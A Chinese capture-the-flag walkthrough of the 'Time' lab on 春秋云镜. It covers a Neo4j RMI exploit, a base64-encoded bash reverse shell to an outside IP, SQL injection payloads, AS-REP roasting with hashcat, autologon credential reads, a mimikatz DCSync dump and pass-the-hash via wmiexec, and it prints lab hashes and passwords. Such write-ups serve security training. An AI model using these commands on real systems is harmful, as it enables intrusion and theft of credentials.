春秋云镜 —-time Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
flag01 首先使用fscan扫描,发现开放7687端口
用户名、密码,neo4j,neo4j
利用
扫出来有个Neo4j Browser,存在nday(https://github.com/zwjjustdoit/CVE-2021-34371.jar),弹个shell到自己vps上
1 java -jar .\rhino_gadget.jar rmi://39.101.174.164:1337 "curl k3fgjw.dnslog.cn"
dnslog成功获取
反弹shell
bash64编码
1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuOTYuMTcvNzc3NyAwPiYx} | {base64,-d} | {bash,-i}
使用nc或msf的通用模块进行监听
msf成功拿到监听(这里就不演示nc拿到shell的截图了)
输入命令
1 cat /home/neo4j/flag01.txt
1 flag01 : flag{7 b45c82d-5876 -4 b1f-b1de-1 b862fe1aecc}
flag02 环境存在python环境
如果需要挂上代理需要到meterpreter中去执行(添加路由后,才能挂socks5代理)
shell转meterpreter
思路:
使用shell_to_meterpreter模块
使用msf生成python版本的meterpreter执行(因为环境有python模块)
上传fscan到主机
思路:
利用envs.sh上传,下载,给权限
利用msf的upload,(如果超时,记得修改默认时间)
可以利用领导的一句话扫描内网的命令
下载,给权限
1 curl https://envs.sh/FhP.bin -o fscan
扫描内网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 neo4j@ubuntu:~$ ./fscan -h 172 .22 .6 .0 /24 ./fscan -h 172 .22 .6 .0 /24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1 .8 .3 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172 .22 .6 .12 is alive (icmp) Target 172 .22 .6 .38 is alive (icmp) Target 172 .22 .6 .36 is alive (icmp) Target 172 .22 .6 .25 is alive [*] Icmp alive hosts len is: 4 172.22.6.25:445 open172.22.6.12:445 open172.22.6.25:139 open172.22.6.12:139 open172.22.6.25:135 open172.22.6.12:135 open172.22.6.36:22 open172.22.6.38:80 open172.22.6.38:22 open172.22.6.12:88 open172.22.6.36:7687 open[*] alive ports len is: 11 start vulscan[*] NetInfo [*] 172 .22 .6 .12 [->] DC-PROGAME [->] 172 .22 .6 .12 [*] NetBios 172 .22 .6 .25 XIAORANG\WIN2019 [*] OsInfo 172 .22 .6 .12 (Windows Server 2016 Datacenter 14393 )[*] NetInfo [*] 172 .22 .6 .25 [->] WIN2019 [->] 172 .22 .6 .25 [*] NetBios 172 .22 .6 .12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle http://172 .22 .6 .38 code:200 len:1531 title:后台登录[*] WebTitle https://172 .22 .6 .36 :7687 code:400 len:50 title:None
发现内网中存在一个主机有后登录
http://172.22.6.38
加单引号卡住,尝试sqlmap跑注入
在admin发现有sql注入,payload有
1 2 3 http ://172.22.6.38 /index.phpPOST :username =admin' UNION ALL SELECT NULL,CONCAT(0 x7162627a71,JSON_ARRAYAGG(CONCAT_WS(0 x746e70776669,schema_name)),0 x717a787071),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -&password=admin123
如何想要使用burp suite抓包,需要配置burp suite代理即可(拿到数据后,再保存到txt中,使用sqlmal跑数据)
1 2 3 4 5 这里直接使用网上的payload的数据包,尝试 http: POST: username=admin' UNION ALL SELECT NULL ,CONCAT (0x7162627a71 ,JSON_ARRAYAGG (CONCAT_WS (0x746e70776669 ,schema_name)),0x717a787071 ),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -&password=admin123
直接sqlmap一把梭哈,发现存在时间盲注,再爆破–current-db,table
1 flag{b142f5ce-d9b8-4b73 -9012 -ad7517ba029}
flag03 把user表中的用户名收集成字典user.txt,将下面命令生成csv粘贴到user.txt里
1 proxychains sqlmap -r kkk.txt --dump -D oa_db -T oa_users -C email
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 chenyan tangguibuning beishu shushi fuyi pangcheng tonghaojiaoshan dulun kejuan gexin lugu guzaicheng feicai ranqun zhouyishishu yanyun chengqiu louyou maqun wenbiao weishengshan zhangxin chuyuan wenliang yulvxue luyue ganjian pangzhen guohong lezhongsheweiyue dujian lidongjin hongqun yexing maoda qiaomei nongzhen dongshu zhuzhujiyun qiguanrou yixue chujunshenshan lefen yubo helianrui xuanqunshangjun huguang wansifu fenghong wanyandiyan xiangyu songyan fandi xiangjuanbeirui didi zhubin lingchun zhenglu xundi wansishun yezongyuebianmei shanshao zhenhui chengli yufenjiyi panbao mennane fengsi mingyan luoyou liangduanqing nongyan haolun oulun weichipeng qidiaofang xuehe chensi guihui fuyue wangxing zhengxiao guhuibaoai hangzhao xingye qianyi xionghong zouqi rongbiao gongxin luxing huayan duyue xijun daiqing yingbiao hengteng changwu chengying luhong tongxue xiangqianshaokang nongzhu haomei maoqing xiaibihe gaolijianggong pangning ruishi wuhuan qiaode mayong hangda changlu liuyuan chenggushentuyun zhuangsong chushao heli haoming xieyishangjie situxin linxi zoufu qianqing qiai ruilin luomeng huaren yanyangmei zuofen manyuan yuhui sunli guansixin ruisong qiruojinyu shoujuan yanqian changyun hualu huanmingbaoshao hongmei manyun changwan wangyanshijian ruibeijingshao jinzhi yuhui zangpeng changyun yetai luoxue moqian xupeng ruanyong guliangxian yinbin huarui niuya guwei qinguan yangdanhan yingjun weiwan sunduangu sisiwu nongyan xuanlu yunzhong gengfei zizhuansong ganbailongshenjiao zangyao yangdanhe chengliang xudi wulun yuling taoyajinle youchao liangduanzhijiagupiao ganzejiangqing jinshan zhengpubei cuicheng qiyong qizhu ganjian yurui feishu chenxinshengzhe wohong manzhi xiangdong weihui xingquan miaoshu gongwan qijieshaoting xiqijinghong qianyou chuhua yanyue huangjia zhouchunjiyu wendong heyuan mazhenshouchun liuzhe fengbo taigongyuan gesheng songming yuwandiaowei youyi rongxianyu fuyi linli weixue hejuan zuoqiutai siyishenshan tongdong
保存为user.txt,然后枚举未设置预认证的账户(这个东西默认是不关闭的,但是当关闭了预身份认证后,攻击者可以使用指定用户域控制器的kerberos 88端口请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。因此,攻击者就可以对获取到的用户Hash加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码)
1 proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
如果命令出错误
1 TypeError: deprecated () got an unexpected keyword argument 'name'
删除pyOpenSSL库删了就正常了
1 sudo python3 -m pip uninstall pyOpenSSL
1 $krb5 asrep$23 $zhangxin@XIAORANG.LAB :e414 f4692 a6 b1 d0905e8 ed118747 ac6 e$95 ec406 c 7 cdae081 a496 fe8009 a23e684 f0612 d0632 c 903e1 b34 ce66275421 c 5 d0 f8125 c 8e651 bf93 ddee83 bab492833 c 6 af3316177096000e7 e302359774 ab66 f05 c 254 ad9 c 61 ba9407756681e532 c 031 f65961571469 d15 a08 a069 ea0 ab26 d38 d876 c 2808055 c 0724 c 9 b30 dcc29 ba9e62 d56 d8 f697 ea29 d200 f3 c 58 bd107e8 f39e16 d34 aa76 dcb26 d58e7 d7e59 a1 d3160 d249451 a73 fe6 ba1 a0 d09 d4 a5210 f2 b6 aeb09 cf979 a0 ad51345244 b21769878652 f5 c 88223 c 4 ed6648 c 650413 bc31192e835 cf74 f274 b20604 a8e9 ad3 db6 ec6e28 f7 b24452 eaf7 c 456 a7e4282 e1 bba9 ffddc43915 cfd1349 c 56 a0
解一下
1 hashcat -m 18200 1 .txt -a 0 ./rockyou.txt --force
或者
1 hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@XIAORANG.LAB:e414f4692 a6b1d0905 e8ed118747 ac6e$95ec406c7cdae081a496fe8009 a23e684f0612 d0632 c903e1b34ce66275421 c5d0f8125 c8e651bf93ddee83bab492833 c6af331617709600 0e7e30235977 4ab66f05c254ad9c61ba9407756681 e532c031f6596157146 9d15a08a069ea0ab26d38d876c280805 5c0724 c9b30dcc29ba9e62d56d8f697ea29d200f3c58bd107e8f39e16d34aa76dcb26d58e7d7e59a1d3160 d249451 a73fe6ba1a0d09d4a5210 f2b6aeb09cf979a0ad51345244 b2176987865 2f5c8822 3c4ed6648 c650413 bc3119 2e835cf74f274b2060 4a8e9ad3db6ec6e28f7b2445 2eaf7c456a7e4282 e1bba9ffddc4391 5cfd1349 c56a0' /usr/share/wordlists/rockyou.txt
获得账户和密码
1 zhangxin@XIAORANG .LAB :strawberry
rdp随便试试,登录了172.22.6.25,然后查看一下用户
看别人wp说这里有理由怀疑是开了Windows 自动登录,我也不懂,呵呵,反正可以抓密码了
1 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
1 2 3 DefaultUserName REG_SZ yuxuan DefaultPassword REG_SZ Yuxuan7QbrgZ3L DefaultDomainName REG_ SZ xiaorang.lab
换这个账户登录,用BloodHound分析域内关系,发现这个用户滥用了SID历史功能(SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为作为该对象的objectSid,在之前域中的SID会添加该对象的SIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限 )
我们就可以通过这个滥用直接攻击DC了,因为我们保留域管理员的访问权限了,所以直接dump哈希
1 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 1103 shuzhen 07 c1f387d7c2cf37e0ca7827393d23271104 gaiyong 52 c909941c823dbe0f635b3711234d2e1106 xiqidi a55d27cfa25f3df92ad558c304292f2e1107 wengbang 6 b1d97a5a68c6c6c9233d11274d13a2e1108 xuanjiang a72a28c1a29ddf6509b8eabc61117c6c1109 yuanchang e1cea038f5c9ffd9dc323daf35f6843b1110 lvhui f58b31ef5da3fc831b4060552285ca541111 wenbo 9 abb7115997ea03785e92542f684bdde1112 zhenjun 94 c84ba39c3ece24b419ab39fdd3de1a1113 jinqing 4 bf6ad7a2e9580bc8f19323f96749b3a1115 yangju 1 fa8c6b4307149415f5a1baffebe61cf1117 weicheng 796 a774eace67c159a65d6b86fea1d011118 weixian 8 bd7dc83d84b3128bfbaf165bf2929901119 haobei 045 cc095cc91ba703c46aa9f9ce93df11120 jizhen 1840 c5130e290816b55b4e5b60df10da1121 jingze 3 c8acaecc72f63a4be945ec6f4d6eeee1122 rubao d8bd6484a344214d7e0cfee0fa76df741123 zhaoxiu 694 c5c0ec86269daefff4dd611305fab1124 tangshun 90 b8d8b2146db6456d92a4a133eae2251125 liangliang c67cd4bae75b82738e155df9dedab7c11126 qiyue b723d29e23f00c42d97dd97cc6b04bc81127 chouqian c6f0585b35de1862f324bc33c920328d1128 jicheng 159 ee55f1626f393de119946663a633c1129 xiyi ee146df96b366efaeb5138832a75603b1130 beijin a587b90ce9b675c9acf28826106d1d1d1131 chenghui 08224236 f9ddd68a51a794482b0e58b51132 chebin b50adfe07d0cef27ddabd4276b3c31681133 pengyuan a35d8f3c986ab37496896cbaa6cdfe3e1134 yanglang 91 c5550806405ee4d6f4521ba6e38f221135 jihuan cbe4d79f6264b71a48946c3fa94443f51136 duanmuxiao 494 cc0e2e20d934647b2395d0a102fb01137 hongzhi f815bf5a1a17878b1438773dba555b8b1138 gaijin b1040198d43631279a63b7fbc4c403af1139 yifu 4836347 be16e6af2cd746d3f934bb55a1140 fusong adca7ec7f6ab1d2c60eb60f7dca81be71141 luwan c5b2b25ab76401f554f7e1e98d277a6a1142 tangrong 2 a38158c55abe6f6fe4b447fbc1a3e741143 zhufeng 71e03 af8648921a3487a56e4bb8b5f531145 dongcheng f2fdf39c9ff94e24cf185a00bf0a186d1146 lianhuangchen 23 dc8b3e465c94577aa8a11a83c001af1147 lili b290a36500f7e39beee8a29851a9f8d51148 huabi 02 fe5838de111f9920e5e3bb7e009f2f1149 rangsibo 103d0 f70dc056939e431f9d2f604683c1150 wohua cfcc49ec89dd76ba87019ca26e5f7a501151 haoguang 33 efa30e6b3261d30a71ce397c779fda1152 langying 52 a8a125cd369ab16a385f3fcadc757d1153 diaocai a14954d5307d74cd75089514ccca097a1154 lianggui 4 ae2996c7c15449689280dfaec6f2c371155 manxue 0255 c42d9f960475f5ad03e0fee885891156 baqin 327 f2a711e582db21d9dd6d08f7bdf911157 chengqiu 0d0 c1421edf07323c1eb4f5665b5cb6d1158 louyou a97ba112b411a3bfe140c941528a46481159 maqun 485 c35105375e0754a852cee996ed33b1160 wenbiao 36 b6c466ea34b2c70500e0bfb98e68bc1161 weishengshan f60a4233d03a2b03a7f0ae619c732fae1163 chuyuan 0 cfdca5c210c918b11e96661de82948a1164 wenliang a4d2bacaf220292d5fdf9e89b3513a5c1165 yulvxue cf970dea0689db62a43b272e2c99dccd1166 luyue 274d823 e941fc51f84ea323e22d5a8c41167 ganjian 7d3 c39d94a272c6e1e2ffca927925ecc1168 pangzhen 51d37 e14983a43a6a45add0ae89396091169 guohong d3ce91810c1f004c782fe77c90f9deb61170 lezhong dad3990f640ccec92cf99f3b7be092c71171 sheweiyue d17aecec7aa3a6f4a1e8d8b7c2163b351172 dujian 8 f7846c78f03bf55685a697fe20b08571173 lidongjin 34638 b8589d235dea49e2153ae89f2a11174 hongqun 6 c791ef38d72505baeb4a391de05b6e11175 yexing 34842d36248 c2492a5c9a1ae5d850d541176 maoda 6e65 c0796f05c0118fbaa8d9f13090261177 qiaomei 6 a889f350a0ebc15cf9306687da3fd34502 krbtgt a4206b127773884e2c7ea86cdd282d9c1178 wenshao b31c6aa5660d6e87ee046b1bb5d0ff79500 Administrator 04d93 ffd6f5f6e4490e0de23f240a5e91000 DC-PROGAME$ 5 c76d177587a06495af3a7494ffb2e1f1180 yuxuan 376 ece347142d1628632d440530e8eed1181 WIN2019$ 91 c31e8e8aa3270652c7e1e11fa17b3b1179 zhangxin d6c5976e07cdb410be19b84126367e3d
直接把域管理员哈希dump了,所以相当于已经拿下域控了,哈希传递登一下其他两台机器拿一下flag就结束了
1 proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.25 -hashes :04 d93ffd6f5f6e4490e0de23f240a5e9
1 type C :\Users\Administrator\flag\flag*
flag04 1 proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04 d93ffd6f5f6e4490e0de23f240a5e9
1 type C :\Users\Administrator\flag\flag*
知识点 AS-REP Roasting 未设置预认证的账户(这个东西默认是不关闭的,但是当关闭了预身份认证后,攻击者可以使用指定用户域控制器的kerberos 88端口请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。因此,攻击者就可以对获取到的用户Hash加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码)
SID历史功能滥用 滥用了SID历史功能(SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为作为该对象的objectSid,在之前域中的SID会添加该对象的SIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限 )